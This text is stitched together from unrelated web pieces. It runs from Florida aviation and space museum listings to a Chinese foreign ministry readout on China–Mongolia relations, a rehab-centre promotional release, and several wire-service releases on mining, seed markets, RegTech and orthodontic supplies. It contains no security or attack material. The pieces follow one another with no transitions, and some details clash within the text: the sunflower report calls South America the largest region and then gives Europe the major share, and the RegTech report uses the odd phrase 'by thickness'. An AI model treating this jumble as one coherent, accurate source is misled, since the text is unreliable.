Examples range from World War One all the way through to todays super sophisticated high technology planes, guns, and bombs.

They have a large collection of weapons and cockpit simulators that will keep an aviation buff busy for hours.

As you drive onto the museum property you will see many aircraft on display, including the SR-71 Blackbird, the fastest plane ever built.

There are other planes from World War Two, the Korean War, Vietnam, and Gulf War eras.

There are four more aircraft inside of the museum building itself, as well as a huge variety of bombs, missiles and rockets.

Displays include the AMRAAM and GBU bunker buster.

NATIONAL NAVAL AVIATION MUSEUM

1750 Radford Blvd

Pensacola, FL 32508

(850) 452-8450



National Naval Aviation Museum Curtiss NC-4

National Naval Aviation Museum is located at Naval Air Station Pensacola, Florida.

U.S. Navy pilots are among the best aviators in the world and their history is celebrated in this fantastic museum on Naval Air Station Pensacola.

The museum features over 150 restored aircrafts, including some of the most historically significant airplanes ever built.

Also on exhibit are more than 4,000 other items related to aviation in the Navy, Marine Corps, and Coast Guard.

It is a great place to learn the military history of Navy and Marine Corps aviation during wartime.

The museum offers a variety of interactive exhibits, educational programs and special events.

You can sit in a flight simulator and get a feeling for what its like to fly a naval aircraft, and you can also enjoy action packed movies in the IMAX theater.

The Flight Deck Store has all kinds of souvenirs and mementos related to Naval Aviation, and there is also a nice restaurant.

Visitors can explore the history of naval aviation, and learn about the people, aircraft and technology that have shaped it.

Some of the aircraft are suspended from the ceiling of the museum, giving you the feeling that you are flying among them.

All visitors to the National Naval Aviation Museum who do not possess a Department of Defense identification card or are not escorted by the holder of a Department of Defense identification card are required to enter and exit Naval Air Station Pensacola through the West Gate at 1878 S Blue Angel Parkway.

DELAND NAVAL AIR STATION MUSEUM

910 Biscayne Blvd

DeLand, FL 32724

(386) 738-4149



DeLand Naval Air Station Museum DeLand Naval Air Station Museum

DeLand Naval Air Station Museum is dedicated to preserving and displaying the history of the former DeLand Naval Air Station.



The museum features aircraft exhibits, artifacts, photographs and interactive displays, as well as a library of books and magazines devoted to aviation.

The museum also offers educational programs and classes that cover the history of the base and its role in the development of naval aviation.

The museum is open to the public and is located on the grounds of the former base.

The museum building is on the National Register of Historic Places.

KENNEDY SPACE CENTER VISITORS COMPLEX

SR 405, Kennedy Space Center, FL 32899

(855) 433-4210 Vehicle Assembly Building, VAB

Kennedy Space Center

Kennedy Space Center is where the United States began its journey into space and continues to the present day.

There is so much to see and do here that at least one day  and maybe two  should be set aside to make your visit worthwhile. The KSC website lets you plan your trip in advance and choose your own itinerary.

They even give you suggestions if you have kids under 10, over 10, or if youre just an adult couple.

The Visitor Complex features exhibits and displays, historic spacecraft and memorabilia, shows, two IMAX theaters, and a range of bus tours of the spaceport.

"Space Shuttle Atlantis" is home to the real Space Shuttle Atlantis orbiter and the Shuttle Launch Experience is a simulated trip into space.

The visitor complex also has daily presentations from a veteran NASA astronaut. A bus tour, included with admission, encompasses the separate Apollo/Saturn V Center.

You will be among the almost 2 million annual visitors that enjoy the complex.

AIR FORCE SPACE AND MISSILE MUSEUM

191 Museum Cir

Cape Canaveral, FL 32925

(321) 853-9171



Air Force Space and Missile Museum Firebee Target Drone

Air Force Space and Missile Museum, located at the Cape Canaveral Air Force Station in Florida, is an educational and historical museum dedicated to preserving the history of space exploration.



The museum features a wide array of artifacts, including a full-scale replica of the historic Saturn V rocket, a variety of missiles and missile systems.

Exhibits include the original Gemini-Titan II spacecraft and a large collection of photographs and documents.

Visitors can explore interactive exhibits, watch videos, and engage in hands-on activities that foster a greater appreciation for the history and science of space exploration.



The museum also offers educational programs, special events, and guided tours.

The public can only visit this museum by special bus tour from Kennedy Space Center visitor complex. The tour takes 2.5 hours and stops at several other historic sites at Cape Canaveral Air Force Station.

Launch Complex 26 at Air Force Space and Missile Museum

Canaveral Air Force Base

The museum opened in 1966 and includes many exhibits about the history of rocketry and space flight. The museum grounds encompass two adjoining launch complexes, Launch Complexes 26 and 5/6.



Launch Complex 26 is the site of the first successful launch of an American satellite, Explorer I, in 1958. From 1957 to its deactivation in 1963, Launch Complex 26 conducted 36 launches.

These launches included the three primates that led the way for future manned space flights. It also the launch site for the earliest Project Mercury missions.

It was from Pad 5 in 1961 that Alan Shepard and Gus Grissom, were launched into space.

VALIANT AIR COMMAND WARBIRD MUSEUM

6600 Tico Rd

Titusville, FL 32780

(321) 268-1941



Valiant Air Command, Inc. Warbird Museum is located at Space Coast Regional Airport in Titusville.

It is a non-profit museum dedicated to the preservation and display of vintage military aircraft and related artifacts.

The museum focuses on war planes from the earliest days of aviation to the present day.

Their collection includes more than 45 historic warbirds from the beginnings of aviation to the present day. At least 9 of these planes are privately owned and in flying condition, and their owners permit the planes to be in the collection.

Many of these planes fly on a regular basis. Among these is a Sopwith Camel, a DeHaviland Tiger Moth, and a TBM Torpedo Bomber.

The static collection includes about 40 planes including a Luftwaffe Me-208, a MIG-15, and F-8K Crusader.

My favorite is the Beechcraft T-34 Mentor identical to the one I trained in many years ago during my Navy hitch.

There is also a memorabilia room with flight gear, dress uniforms, weapons, and other artifacts.

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On November 28, 2022, Member of the Political Bureau of the CPC Central Committee, State Councilor and Foreign Minister Wang Yi met at request with Mongolian Foreign Minister Batmunkh Battsetseg, who accompanied Mongolian President Ukhnaa Khurelsukh on his visit to China.

Wang Yi said that China and Mongolia are good neighbors and good partners. In recent years, China-Mongolia relations have maintained a strong momentum of development. That has not only served the common interests of the two countries, but also brought stability to the turbulent world. President Khurelsukh paid a visit to China right after the 20th National Congress of the Communist Party of China (CPC), which speaks volumes of the high degree of mutual trust between the two sides and the high level of the China-Mongolia comprehensive strategic partnership. China is ready to work with Mongolia to take this visit as an opportunity to implement the common understandings reached by the leaders of the two countries, further increase exchanges on governance experience, work in solidarity and coordination on the path of development, revitalization and modernization, and make strides toward the general direction of building a community with a shared future between the two countries.

Wang Yi pointed out that China appreciates the Mongolian Peoples Party for pursuing a friendly policy towards China, and stands ready to work with Mongolia to firmly support each other in safeguarding their lawful rights and interests. The cooperation between China and Mongolia enjoys immense potential and broad prospects and is presented with development opportunities across the board. China fully understands Mongolias development concerns and needs, and stands ready to step up cooperation with Mongolia in fields such as economy and trade, minerals, customs, infrastructure, desertification mitigation, peoples livelihood, cultural and people-to-people exchanges, as well as at sub-national levels, in line with the spirit of amity, sincerity, mutual benefit and inclusiveness, and the vision of building a community with a shared future.

Battsetseg extended congratulations on the success of the 20th CPC National Congress and President Xi Jinpings re-election as the General Secretary of the CPC Central Committee. She said that Mongolia-China cooperation is of great significance to Mongolias economic and social development. Mongolia hopes to work with China to advance key projects and enhance connectivity, so as to bring bilateral relations to new heights. Mongolia supports the Global Development Initiative, the Global Security Initiative and other international cooperation initiatives put forward by China, and stands ready to strengthen coordination and cooperation with China on the international stage.
A Place for All Conservatives to Speak Their Mind.
CALGARY, Alberta, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Pan American Energy Corp. (the Company or Pan American) (CSE: PNRG) (OTC PINK: PAANF) (FRA: SS6) is pleased to announce its participation in a UAV-borne magnetic survey to be flown by EarthEx Geophysical Solutions Inc. (EarthEx) for Pan American and Avalon Advanced Materials Inc. (Avalon) at the Big Mack and Big Whopper Project near Kenora, Ontario. The survey is estimated to comprised 725 line-km with spacing of 25 m and tie line spacing of 250 m.



The work program is focused on advancing an understanding of the structural framework and strain in the emplaced pegmatites in the Separation Rapids area. The Department of Earth Sciences, University of Manitoba (U of M) have done geological research and are interested in making use of the geophysical data for research purposes. Flying a larger area provides more structural context, and is expected to significantly aid in the interpretation of data. The cost of the survey is being shared by both companies, proportioned to their land holding size, and both companies will be provided access with all results. The U of M and EarthEx are also granted use of the data for research, publication and case study purposes.

Figure 1  Pan American Energy Magnetic Survey Area

Figure 2 - Pan American Energy Magnetic Survey Pegmatites

Jason Latkowcer, CEO and Director, comments, This is a wonderful example of collaboration between industry peers, industry experts, and academia. Through this joint effort approach, we are able to reduce mobilization and demobilization costs and environmental impact, map further faster, and will be able to share in the interpretation and analysis of the results - a true win-win-win scenario. This type of geophysical-geological work is an important step leading up to our 2023 drill program at the Big Mack Property while also contributing to an improved understanding of the region. On behalf of Pan American, I would like to thank Donald Bubar (Avalon), Daniel Card (EarthEx), and Alfredo Camacho (U of M). We are looking forward to analyzing these results which will allow the Company to use more data to plan future exploration and drilling programs to explore areas of interest.

Avalons President & CEO, Don Bubar, states, A detailed aeromagnetic survey focused on better understanding local structural geology could help identify other LCT pegmatite targets in the Separation Rapids area.

Alfredo Camacho, Head, Department of Earth Sciences, U of M, comments, The Department of Earth Sciences, University of Manitoba is delighted to be collaborating in a geophysical-geological research project with Pan American and Avalon to develop a scientific understanding of the distribution of the rare-element mineralization and other pegmatite types and granites on a regional scale in the Separation Rapids pegmatite field. The research will provide significant information about potential pathways and structural corridors into which the pegmatites intrude in deformed terranes.

Daniel Card, President of EarthEx Geophysical Solutions Inc., states, At a time when pegmatite exploration has become so important, collaboration between academia, industry professionals and innovative explorers such as Pan American Energy Corp and Avalon Advanced Materials Inc, is sure to provide great steps toward the definition of a robust exploration strategy for Lithium bearing pegmatites and other critical minerals. We thank all parties involved and look forward to what will be a very rewarding project.

Qualified Person

The technical content of this news release has been reviewed by Daniel Card, P.Geo., RPGeo., who is a Qualified Person as defined by NI 43-101.

About EarthEx.

EarthEx Geophysical Solutions Inc is a Manitoba company, founded in 2014 in Selkirk, Manitoba by president and Chief Geophysicist, Daniel Card, P. Geo., RPGeo. We are highly specialized in geophysical prospecting for hard-rock minerals, and work with cutting edge technologies and data analysis methodology.

For more information contact Daniel Card, President and Chief Geophysicist, earthex@eexgeo.com or visit https://eexgeo.com/physical-properties/.

About Avalon Advanced Materials Inc.

Avalon Advanced Materials Inc. is a Canadian mineral development company specializing in sustainably-produced materials for clean technology. The Company now has four advanced stage projects, providing investors with exposure to lithium, tin and indium, as well as rare earth elements, tantalum, cesium and zirconium. Avalon is currently focusing on developing its Separation Rapids Lithium Project near Kenora, Ontario while continuing to advance other projects, including its 100%-owned Lilypad Cesium-Tantalum-Lithium Project located near Fort Hope, Ontario. Social responsibility and environmental stewardship are corporate cornerstones.

For questions and feedback, please e-mail Avalon President and CEO, Donald Bubar, at ir@AvalonAM.com.

About Pan American Energy Corp.

Pan American Energy Corp. (CSE: PNRG) (OTC PINK: PAANF) (FSE: SS6) is an exploration stage company engaged principally in the acquisition, exploration and development of mineral properties containing battery metals in North America.

The Companys maiden asset is the 100% owned Green Energy Lithium Project, located in the Paradox Basin, Utah, USA. The Company has also entered a property option agreement with Horizon Lithium LLC with the right to acquire 100% interest in the Horizon Lithium Project, located within the Clayton Valley  Tonopah Lithium Belt, Nevada, USA.

The Company executed an option agreement in Canada with Magabra Resources with the right to acquire up to 90% interest in the drill-ready Big Mack Lithium Project, 80 km north of Kenora, Ontario.

On Behalf of the Board of Directors

Jason Latkowcer

CEO & Director

Contact

Phone: (585) 885-5970

Email: info@panam-energy.com

Forward-Looking Statements

Certain information contained herein may constitute forward-looking information under Canadian securities legislation. Forward-looking information includes, but is not limited to, statements with respect to the commercialization of the Companys technology and patents. Generally, forward-looking information can be identified by the use of forward-looking terminology such as expects or it is expected, or variations of such words and phrases or statements that certain actions, events or results will occur. Forward-looking statements are based on the opinions and estimates of management as of the date such statements are made and they are subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking statements or forward-looking information, including: the receipt of all necessary regulatory approvals. Although management of the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements or forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements and forward-looking information. The Company does not undertake to update any forward-looking statements or forward-looking information that is incorporated by reference herein, except as required by applicable securities laws.

The CSE has neither approved nor disapproved the information contained herein.

Photos accompanying this announcement are available at:

https://www.globenewswire.com/NewsRoom/AttachmentNg/be7b213c-b2d6-446d-833e-c52dbf5e7933

https://www.globenewswire.com/NewsRoom/AttachmentNg/dc00bd68-9055-42a0-bcbd-83a90f4343e7




Los Angeles, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Los Angeles, California -

Los Angeles, California  Calling his rehab a life-changing experience, a California man has left an extensive five-star Google review of Magnolia Recovery and its parent network, TruPath Recovery.

First of all, I could not possibly be more thrilled about Magnolia and Trupath Recovery, wrote Kyle, the successful graduate of Magnolias addiction treatment program in Los Angeles. The experience during my stay was fantastic and truly changed my life.

Magnolia Recovery is part of TruPath Recoverys nationwide network of treatment programs for people struggling with substance abuse and alcohol addiction. It specializes in detox and residential treatments, with aftercare and follow-up to complete the journey from addiction to long-term sobriety. Programs take a holistic approach that heals the whole person, not just the addiction, using strategies that include medical care, therapeutic counseling, nutrition education, family dynamics work, regular exercise and spiritual development.

Magnolias mission is to honor each client as an individual and to guide as many people as possible through every level of care, including support after completing the recovery program, to help them discover a fulfilling life free from chemical dependency.

Kyle praised the highly individualized nature of the program. Every aspect of the treatment I received there was geared towards me and my recovery, he wrote in his review. The facility was clean, comfortable and I had everything I needed to support me on my journey to sobriety.

Customized care is a critical aspect of the treatment at Magnolia, which is designed to get clients working on their recovery goals within their first few days of treatment. In addition, Magnolia believes successful treatment includes a comfortable and safe environment, so it provides a peaceful atmosphere where clients can focus fully on their recovery.

At Magnolia, the recovery journey begins with medically supervised detox, which helps clients overcome withdrawal symptoms and start the process of healing. The next step is residential recovery, offering a wide range of services customized for the individual. At this stage, the focus is on helping the client take responsibility for their recovery by providing the education, support and tools needed for long-term success.

After completing residential treatment, the client has several options for continued care. If outpatient treatment is deemed necessary, the client can be admitted to the Partial Hospitalization or Intensive Outpatient program, which help the client transition to everyday life while remaining under supervision. If their treatment team believes they are ready, they can leave treatment but get continued support and guidance through Magnolias Aftercare program.

Treatment is delivered by a highly experienced, thoroughly-credentialed treatment team that includes licensed therapists, physicians, psychiatrists, psychologists and counselors who have worked in the field for five to twenty years. Some Magnolia clients maintain contact with the facility for years after completing their program.

I have spoken with some people that went to other treatment and recovery facilities, where they felt as if they were merely a dollar sign, Kyle wrote in his review. This is NOT one of these places! ALL of the staff was so pleasant and really, genuinely have a passion to help us who are struggling with this disease. All of the details (billing, leave from my job, aftercare, etc.) were handled for me by the fantastic technicians, nurses, therapists, case managers and counselors, so I could put all of my focus into getting better.

I could go on and on, he concluded, but I just want to express how thrilled I am that I chose Trupath (and Magnolia).

For individualized care of alcohol or drug addiction for oneself or a loved one, visit Magnolia Recovery of LA or call 747-307-6948.

###

For more information about Magnolia Recovery Care Los Angeles Alcohol & Drug Rehab, contact the company here:



Magnolia Recovery Care Los Angeles Alcohol & Drug Rehab

(818) 450-3511

12400 Magnolia Blvd, Valley Village, CA 91607




New York, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Global Forage Seed Market - SIZE, SHARE, COVID-19 IMPACT & FORECASTS UP TO 2028" - https://www.reportlinker.com/p06381361/?utm_source=GNW



Largest Segment by Country - United States : The United States forage market has increased due to factors such as the increasing livestock population in the country, and high demand from the dairy and meat industry.

Fastest-growing Segment by Crop - Forage Corn : The increasing demand for forage corn is due to the development of dual-purpose varieties, preference for corn silage, and availability of highly nutritious varieties.

Fastest-growing Segment by Country - Italy : Italy is having a high demand for Forage Cropss due to the high demand for better-quality meat, increasing cattle population, and awareness about quality feed among farmers.



Forage Seed Market Trends



Hybrids is the largest segment by Breeding Technology.



The livestock population is increasing across the regions. The increase in livestock population needs an expansion of the area under forages and demands the use of varieties with high yield potential and a high feed value. This is one of the major factors leading to the growth of the hybrid and open-pollinated seed market.

Major companies are investing in making seed quality better due to the rise in demand. For instance, in 2021, DLF Seeds, the worlds leading grass seed breeder, invested USD 4.6 million in new state-of-the-art mixing and distribution facilities. The investment will transform their current production facilities of OPVs and the hybrid seed of forage and bring much-needed additional capacity and efficiency to cope with the future market demands in the amenity, consumer, and environmental stewardship in the forage seed market.



The hybrid seed segment dominates the market due to the increase in adoption because of increasing awareness about its benefits. The hybrid seed market share value is expected to increase by 6% from 2021 to 2022 due to the rise in the seed replacement rate and the availability of improved varieties in the market.

The farmers preference for transgenic varieties is slowly rising in various forage-growing regions due to the increase in crop losses by weeds and diseases. The share value of the transgenic segment increased by 2% in 2021 from the previous year.

The Asia-Pacific forage seed market using OPVs seeds is expected to be the fastest growing, at a CAGR of 4.6%, from 2022 to 2028 because open-pollinated varieties require fewer inputs, such as fertilizer and pesticides, and are less expensive and more affordable for small holding and low-income farmers.



North America is the largest segment by Region.



Globally, the North American region holds a major share, accounting for 38% of the global forage seeds market in terms of value in 2021 due to the increase in the demand for forage as feed, an increase in meat consumption, and weather conditions. In North America, the United States has the largest forage seed market, accounting for 41% of North Americas forage seed market due to the high demand for forage as feed and the increase in the cattle population in the country.

In 2021, Europe was the primary producer of forages. It contributed 33.1% to the global forage seed market. The increase in livestock production and consumption is driving the forage market in the region. Germany is the largest producer of forage corn in Europe, with a market share value of 23% in the global forage corn seed market.

In the Asia-Pacific region, India has the largest forage seed market, and it accounted for 30% of the Asia-Pacific forage seed market in terms of value in 2021. Forage Sorghum is leading in the forage seed segments, accounting for a 9% global market share in 2021.



In 2021, South America had a market share of 9% of the global forage seed market. Alfalfa is the major forage crop grown in South America, which is associated with the availability of GM hybrids that are herbicide-resistant and tolerant to water stress and high lignin content for better digestibility, driving the transgenic alfalfa seed market at a CAGR of 8% in South America.



Therefore, owing to increasing demand due to the increased livestock population and based on the aforementioned factors, the market is anticipated to grow during the forecast period.?



Forage Seed Market Competitive Analysis



The Global Forage Seed Market is fragmented, with the top five companies occupying 35.82%. The major players in this market are Bayer AG, Corteva Agriscience, DLF, Land OLakes, Inc. and Royal Barenbrug Group (sorted alphabetically).



Additional Benefits:



The market estimate (ME) sheet in Excel format

3 months of analyst support

Read the full report: https://www.reportlinker.com/p06381361/?utm_source=GNW



About Reportlinker

ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



__________________________
New York, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Global Sunflower Seed Market (seed For Sowing) - SIZE, SHARE, COVID-19 IMPACT & FORECASTS UP TO 2028" - https://www.reportlinker.com/p06381358/?utm_source=GNW



Largest Segment by Country - Argentina : The driving factors for Argentina to cultivate sunflowers are the increase in demand after the Ukraine-Russia war, high ROI, and the availability of advanced traits.

Fastest-growing Segment by Breeding Technology - Hybrids : The major companies are developing new hybrids and the adoption of hybrids is high due to drought tolerance, disease-resistant, high yield, and wider adaptability.

Fastest-growing Segment by Country - Indonesia : It is to witness growth due to an increase in the area cultivated and the government is encouraging the growers to grow more sunflowers to lower its dependence on imports.



Key Market Trends



Hybrids is the largest segment by Breeding Technology.



In 2021, hybrid seeds had more share than open-pollinated seed varieties because hybrid seeds are drought resistant, have wider adaptability to different regions and weather conditions, and high-quality oil crops are produced by using hybrid seeds.

Globally, in 2022, the non-transgenic hybrid sunflower seed market was about 86% of the hybrid sunflower seed market. Transgenic crops are banned in Europe, and the awareness among people about the benefits of consuming non-GMO food is increasing.

Ukraine was the largest producer of sunflowers in the world in 2021, accounting for 4% of the global sunflower seed market.

In most regions, open-pollinated seed varieties are used less compared to hybrid seed varieties because open-pollinated seed varieties are not resistant to diseases and can be attacked easily by both biotic and abiotic factors. Therefore, to minimize crop loss due to weeds and insects, growers use hybrid seed traits that have characteristics such as disease tolerance and insect resistance.

Open-pollinated seed varieties are anticipated to grow at a CAGR of 3.4% during the forecasted period owing to a steady increase in sowing under OPVs because small-scale growers prefer to use open-pollinated seed varieties as they are less expensive than hybrid seeds and easily adapt to local conditions.

Therefore, the benefits, such as higher yield and resistance to diseases, will help drive the hybrid seed segment, but open-pollinated seed varieties will be used by small-scale farmers for higher profit by minimizing crop input costs.



South America is the largest segment by Region.



In 2021, Europe contributed a major share, accounting for about 33% of the sunflower seed market, with a CAGR of 5% in the forecast period. The main reason for holding a major share is the rising penetration of commercial seeds as usage of hybrid varieties in the region increased, which accounted for 98% in 2021.

Among all other countries in Europe, Russia has the largest sunflower seed market in the region in terms of value, i.e., USD 74.5 million, with approximately 23% market share in the region. This is due to domestic demand from processing industries. The country was the second-largest sunflower oil exporter in 2021, with a 16% share of the global sunflower oil supply.

In North America, the sunflower seed segment is a minor segment in oilseed, accounting for a market share of 12% in 2021. The United States is dominating the North American oilseed segment.

?The area in North America for cultivating sunflowers is expected to increase from 572,363 hectares in 2017 to 592,884 hectares in 2028 because of an increase in the demand for cooking oil, livestock feed, and bakery products.

The total sunflower seed market of South America in 2021 accounted for 33%, which is almost equal to Europe. It was the second-largest sunflower seed market in the world after Europe. It is expected to increase by 24% by 2028, owing to an increase in the demand from the oil industries in the domestic market and international markets. Farmers are shifting to sunflower cultivation from other oilseeds because of the high-profit margin from it.



Competitive Landscape



The Global Sunflower Seed Market (seed For Sowing) is moderately consolidated, with the top five companies occupying 42.78%. The major players in this market are Corteva Agriscience, Euralis Semences, KWS SAAT SE & Co. KGaA, Land OLakes, Inc. and Nufarm (sorted alphabetically).



Additional Benefits:



The market estimate (ME) sheet in Excel format

3 months of analyst support

Read the full report: https://www.reportlinker.com/p06381358/?utm_source=GNW



About Reportlinker

ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



__________________________
VANCOUVER, British Columbia, Jan. 24, 2023 (GLOBE NEWSWIRE) -- A.I.S. Resources Limited (TSXV: AIS, OTCQB: AISSF) (the Company or AIS) announces that it intends, subject to TSX Venture Exchange approval, to extend the term of 15,625,000 warrants expiring on January 29, 2023. The share purchase warrants were issued pursuant to a private placement of 15,625,000 units accepted for filing by the TSXV on March 3, 2021. The warrants will be extended for a period of one year until January 29, 2024. The exercise price remains unchanged at $0.12.

About A.I.S. Resources Limited

A.I.S. Resources Limited is a publicly traded investment issuer listed on the TSX Venture Exchange focused on lithium, gold, precious and base metals exploration. AIS value add strategy is to acquire prospective exploration projects and enhance their value by better defining the mineral resource with a view to attracting joint venture partners and enhancing the value of our portfolio. The Company is managed by a team of experienced geologists and investment bankers, with a track-record of successful capital markets achievements.

AIS owns 100% of the 28 sq km Fosterville-Toolleen Gold Project located 9.9 km from Kirkland Lakes Fosterville gold mine, a 60% interest in the 57 sq km Bright Gold project (with the right to acquire 100%), and 100% interest in the 167 sq km Kingston Gold Project in Victoria Australia near Stawell and Navarre. AIS has further options to achieve a 7.5% royalty in Pocitos 1 and Pocitos 2 lithium brine projects, a 20% equity interest in Pocitos 7 and 9 lithium brine projects and a 20% joint venture interest with Spey Resources Corp. in the Incahuasi lithium brine project.

On Behalf of the Board of Directors,

A.I.S. Resources Limited

Martyn Element

President, CEO, Chairman

Corporate Contact

For further information, please contact:

Martyn Element

T: +1-604-220-6266

E:melement@aisresources.com

Website:www.aisresources.com

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

ADVISORY: This press release contains forward-looking statements. Although the Company believes that the expectations reflected in these forward-looking statements are reasonable, undue reliance should not be placed on them because the Company can give no assurance that they will prove to be correct. Since forward-looking statements address future events and conditions, by their very nature they involve inherent risks and uncertainties. The forward-looking statements contained in this press release are made as of the date hereof and the Company undertakes no obligations to update publicly or revise any forward-looking statements or information, whether as a result of new information, future events or otherwise, unless so required by applicable securities laws. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.
Dublin, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The "RegTech Global Market Opportunities And Strategies To 2031" report has been added to ResearchAndMarkets.com's offering.



The global RegTech market reached a value of nearly $9,692.2 million in 2021, having increased at a compound annual growth rate (CAGR) of 21.0% since 2016. The market is expected to grow from $9,692.2 million in 2021 to $22,000.4 million in 2026 at a rate of 17.8%. The market is then expected to grow at a CAGR of 14.6% from 2026 and reach $43,572.5 million in 2031.



Growth in the historic period resulted from rising need for faster transactions, a rise in disposable income and growing cost of compliance. Factors that negatively affected growth in the historic period were high cost of software.



Going forward, rising number of fraudulent activities, strategic partnerships and collaborations and rising trend of digitization will drive market growth. Factors that could hinder the growth of the RegTech market in the future include threat to cybersecurity and consumer data privacy and concerns regarding data privacy associated with RegTech solutions.



The RegTech market is segmented by component into solutions and services. The solutions market was the largest segment of the RegTech market by type, accounting for 62.9% of the total market in 2021. The services market is expected to be the fastest-growing segment in RegTech market type, going forward at a CAGR of 18.8% during 2021-2026 period.



The RegTech market is segmented by deployment type into cloud and on-premises. The cloud market was the largest segment of the RegTech market by thickness accounting for 56.1% of the total market in 2021. The cloud market is expected to be the fastest-growing segment in RegTech market by deployment type, going forward at a CAGR of 20.3% during 2021-2026 period.



The RegTech market is segmented by organization size into large enterprises, small and medium-sized enterprises (SMEs). The large enterprises was the largest segment of the RegTech market by organization size, accounting for 74.3% of the total market in 2021. The large enterprises segment is expected to be the fastest-growing segment in RegTech market segmented by organization size, going forward at a CAGR of 18.1% during 2021-2026 period.



The RegTech market is segmented by end-user into banking, insurance, non-banking financial end-users, non-financial and other end users. The banking was the largest segment of the RegTech market by end-user, accounting for 45.6% of the total market in 2021. The non-financial and other end users segment is expected to be the fastest-growing segment in RegTech market segmented by end-user, going forward at a CAGR of 19.2% during 2021-2026 period.



The RegTech market is segmented by application into risk and compliance management, identity management, regulatory reporting, anti-money laundering (AML) and fraud management, regulatory intelligence. The risk and compliance management market was the largest segment of the RegTech market by application accounting for 30.0% of the total market in 2021. The regulatory intelligence market is expected to be the fastest-growing segment in RegTech market by deployment type, going forward at a CAGR of 19.2% during 2021-2026 period.



North America was the largest region in the RegTech market, accounting for 38.3% the global market in 2021. It was followed by Asia-Pacific, Western Europe and the other regions. Going forward, the fastest growing regions in the RegTech market will be Asia-Pacific and the South America, where growth will be at CAGRs of 20.5% and 19.2% respectively from 2021-2026.



Market-trend-based strategies for the RegTech market include use of artificial intelligence (AI) technologies, focus on machine learning and natural language processing-based products, focus on cloud-based solutions, focus regulatory intelligence platforms and focus on blockchain-based platforms.



Player-adopted strategies in the RegTech market include focus on using innovative technologies to solve the growing challenges through collaborations and partnerships, focus on enhancing the effectiveness of end-to-end enterprise fraud solutions through the launch of new products and focus on offering enhanced cloud-based software tools to clients through strategic acquisitions.

Report Attribute Details No. of Pages 269 Forecast Period 2021 - 2031 Estimated Market Value (Million) in 2021 Million9692.2 Million Forecasted Market Value (Million) by 2031 Million43572.5 Million Compound Annual Growth Rate 16.2% Regions Covered Global

Key Topics Covered:



1. RegTech Market Executive Summary



2. Table of Contents



3. List of Figures



4. List of Tables



5. Report Structure



6. Introduction and Market Characteristics



7. Major Market Trends

7.1. Introduction Of Artificial Intelligence

7.2. Focus On Machine Learning and Natural Language Processing

7.3. Launch Of Cloud-Based Solutions

7.4. Focus On Regulatory Intelligence Platform

7.5. Introduction Of Blockchain As Regulatory Solution

7.6. Product Innovations



8. Global Market Size and Growth



9. Global RegTech Market Segmentation



10. RegTech Market, Regional And Country Analysis



11. Asia-Pacific Market



12. Western Europe Market



13. Eastern Europe Market



14. North America Market



15. South America Market



16. Middle East Market



17. Africa Market



18. Competitive Landscape And Company Profiles



19. Company Profiles

20. Key Mergers And Acquisitions In The RegTech Market



21. RegTech Market Opportunities And Strategies



22. RegTech Market, Conclusions And Recommendations



23. Appendix



Companies Mentioned

IBM Corporation

NICE Ltd.

Thomson Reuters Corporation

Broadridge Financial Solutions Inc.

Wolters Kluwer N.V.

For more information about this report visit https://www.researchandmarkets.com/r/yyfzyp

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

Attachment
Dublin, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The "Global Orthodontic Supplies Market by Product (Removable, Fixed Braces (Bracket (Self Ligating, Lingual, Metal, Aesthetic), Ni-Ti & SS Archwire, Anchorage, Ligature (Elastomeric, Wire)), Patient (Adult, Children), User (Hospital, Clinics) - Forecast to 2027" report has been added to ResearchAndMarkets.com's offering.





The global orthodontic supplies market size is projected to reach USD 10.1 billion by 2027 from USD 6.9 billion in 2022, at a CAGR of 7.9% during the forecast period.

Worldwide prevalence of malocclusion and increasing patient awareness about the availability of orthodontic treatment in the market are propelling the demand for orthodontic supplied. Strategies adopted by orthodontic supplies manufacturer to showcase their orthodontic product portfolio and rising collaboration & partnership among players and dental clinics are anticipated to increase the customer base of the orthodontic supplies market, further accelerating the market growth.

However, dearth of skilled dental professionals in many emerging nations and high cost of orthodontic treatment procedures is likely to hamper the growth of the market.

The removable braces segment to register the highest growth rate in orthodontic supplies market during the forecast period, by product

Based on product, the orthodontic supplies market is segmented into fixed braces, removable braces, adhesives, and accessories. The removable braces segment registered the highest CAGR during the forecast period. This is attributed to the rising patient awareness about the advantages offered by removable braces over fixed braces and the growing presence of well established manufacturers with strong offerings in removable braces. Additionally, the strategic collaboration between removable braces manufactures and orthodontic clinics is expected to increase the accessibility of clear aligners treatment among patient. For instance in July 2022, Ormco corporation signed an agreement with Svet Rovnatek, the largest orthodontic clinic in Czech Republic.

The hospital and dental clinics segment accounted for the largest share of the global orthodontic supplies market, by end users, in 2021

Based on end user, the orthodontic supplies market is segmented in hospitals & dental clinics, e-commerce platforms, and other end users. The hospitals & dental clinic segment accounted for the largest market share 2021. Factors such as increasing number of malocclusions globally, growing adoption of advanced orthodontic supplies among hospitals & dental clinics, along with the strong emphasis of private equity firm to establish a wide network of dental clinics are anticipated to play a significant role in boosting the growth of this segment.

The Asia Pacific market to grow at the highest CAGR during the forecast period

